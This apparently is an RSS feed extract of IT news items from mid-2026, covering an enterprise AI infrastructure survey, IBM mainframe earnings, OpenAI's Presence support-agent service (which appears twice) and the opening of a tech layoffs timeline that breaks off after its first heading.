cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Evaluating AI Agents: A production blueprint with Strands and AgentCore]]></title>
<description><![CDATA[Together, Motorway and AWS built an end-to-end evaluation pipeline that reduced incorrect results from 1 in 8 queries to 1 in 50 and cut issue detection time from few hours to few minutes. The pipeline combines the Strands Agents SDK with Amazon Bedrock AgentCore, a fully managed service for depl...]]></description>
<link>https://tsecurity.de/de/3689812/ai-nachrichten/evaluating-ai-agents-a-production-blueprint-with-strands-and-agentcore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689812/ai-nachrichten/evaluating-ai-agents-a-production-blueprint-with-strands-and-agentcore/</guid>
<pubDate>Thu, 23 Jul 2026 19:08:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Together, Motorway and AWS built an end-to-end evaluation pipeline that reduced incorrect results from 1 in 8 queries to 1 in 50 and cut issue detection time from few hours to few minutes. The pipeline combines the Strands Agents SDK with Amazon Bedrock AgentCore, a fully managed service for deploying and operating AI agents at scale. In this post, you will learn how to build this pipeline for your own agents.]]></content:encoded>
</item>
<item>
<title><![CDATA[Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue]]></title>
<description><![CDATA[Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.



After warning of an earnings shortfall, IBM...]]></description>
<link>https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</guid>
<pubDate>Thu, 23 Jul 2026 16:27:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.</p>



<p class="wp-block-paragraph">After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: <a href="https://78449.themediaframe.com/incomm/ibm/ibm260722pressrelease.pdf">Software revenue grew 5% in the second quarter</a> to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.</p>



<p class="wp-block-paragraph">On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.</p>



<p class="wp-block-paragraph">In a <a href="https://newsroom.ibm.com/2026-07-14-Arvind-Krishnas-Letter-to-IBM-Investors">July 14 letter</a> to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”</p>



<p class="wp-block-paragraph">In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”</p>



<p class="wp-block-paragraph">Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.</p>



<p class="wp-block-paragraph">Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and <a href="https://www.networkworld.com/article/3845376/ibm-laying-foundation-for-mainframe-as-ultimate-ai-server.html">AI-driven capacity</a> expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.</p>



<p class="wp-block-paragraph">“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of <a href="https://www.networkworld.com/article/4193914/ibm-grows-mainframe-family-with-rack-frame-models-targeting-ai-hybrid-clouds.html">z17 customers</a> investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”</p>



<p class="wp-block-paragraph">“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”</p>



<p class="wp-block-paragraph">“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”</p>



<p class="wp-block-paragraph">In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:</p>



<p class="wp-block-paragraph">“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.</p>



<p class="wp-block-paragraph">Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.</p>



<p class="wp-block-paragraph">The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



